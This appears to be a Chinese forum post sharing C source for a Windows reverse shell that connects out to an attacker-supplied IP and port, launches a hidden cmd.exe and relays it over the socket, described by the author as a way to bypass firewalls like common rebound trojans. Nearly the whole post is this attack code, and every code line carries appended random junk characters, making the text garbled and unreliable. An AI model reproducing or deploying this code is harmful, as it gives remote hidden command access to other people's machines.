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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K(p1+ GHC  
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/* ============================== q8oEb  
Rebound port in Windows NT 1@y?OWC  
By wind,2006/7 xQ[YQ!l  
===============================*/ ~EN@$N^h  
#include v<) }T5~r  
#include k@2gw]y"  
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#pragma comment(lib,"wsock32.lib") Z-Uq89[HZ  
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void OutputShell(); ':,LZ A8A  
SOCKET sClient; @l?%]%v|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; arB$&s  
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void main(int argc,char **argv) M3Z yf  
{ 6k[u0b`  
WSADATA stWsaData; NOx| #  
int nRet; TwH(47|?Nt  
SOCKADDR_IN stSaiClient,stSaiServer; ,9rT|:N  
6/z}-;,W'  
if(argc != 3) 'L,rJ =M3  
{ yZ 9 *oDs  
printf("Useage:\n\rRebound DestIP DestPort\n"); OLi;/(g  
return; >}9TdP/oT  
} uODsXi{z  
\DHCf 4,  
WSAStartup(MAKEWORD(2,2),&stWsaData); =nsY[ s<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \yy!?UlaI  
1w5nBVC*$V  
stSaiClient.sin_family = AF_INET; Ip4~qGJ  
stSaiClient.sin_port = htons(0); LP\ Qwj{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @6gz)  p  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2vXMrh\  
{ L}9 @kjW  
printf("Bind Socket Failed!\n"); c.~|)^OXXO  
return; J+TYm%A;-  
} Qknd^%  
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stSaiServer.sin_family = AF_INET; +Lyh F2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B|Omz:c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jfWIPN  
RI`A<*>w  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }'{(rU  
{ |QY+vO7fxj  
printf("Connect Error!"); OT[t EqQ  
return; /i"EVN`t  
} sq^,l6es>  
OutputShell(); A@#dv2JzP  
} ?G{fF H  
b,'./{c0  
void OutputShell() Dn@ n:m  
{ VcP#/&B|  
char szBuff[1024]; l9Vim9R5T  
SECURITY_ATTRIBUTES stSecurityAttributes; Ax\Fg 5  
OSVERSIONINFO stOsversionInfo; %cv%u6 b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZLV~It&)  
STARTUPINFO stStartupInfo; R|vF*0)>W  
char *szShell; ^TjFR*S'E  
PROCESS_INFORMATION stProcessInformation; <omz9d1  
unsigned long lBytesRead; ks{s Q@~  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6y0C  
~}5(J,1!  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wHCsEp(  
stSecurityAttributes.lpSecurityDescriptor = 0; zbnQCLs  
stSecurityAttributes.bInheritHandle = TRUE; 'FVT"M~  
Ia\Nj _-%L  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b:JOR@O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *dTw$T#  
1Zecl);O{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A#i-C+"}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2H /a&uo@n  
stStartupInfo.wShowWindow = SW_HIDE; e p^0Cd/  
stStartupInfo.hStdInput = hReadPipe; 5x: XXj"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lC2xl(#!  
OU##A:gI  
GetVersionEx(&stOsversionInfo); sPw(+m*C   
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switch(stOsversionInfo.dwPlatformId) eyM3W}[S$/  
{ &>/nYvuq-  
case 1: 3S9~rLrn?  
szShell = "command.com"; T;%SB&  
break; ygPZkvZ  
default: fG{oi(T  
szShell = "cmd.exe"; 07#!b~N  
break; kb6v2 ^8H  
} ,|H!b%ZW  
~% c->\Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [ M'1aBx^  
1@ina`!1O  
send(sClient,szMsg,77,0); u>E+HxUJ  
while(1) &yN<@.  
{ r {8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I|M*yObl6  
if(lBytesRead) >!2'|y^  
{ ZQ:Y5 ph  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7-LeJRB  
send(sClient,szBuff,lBytesRead,0); Ac54 VN  
} KYQ6U.%W  
else ^>" ?!lv  
{ :b=0_<G  
lBytesRead=recv(sClient,szBuff,1024,0); bcZonS  
if(lBytesRead<=0) break; IIPf5 Z}A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pxF!<nN1,  
} -K !-a'J  
} vuAjAeKm  
/?GBp[(0  
return; v Zxy9Wmc  
}
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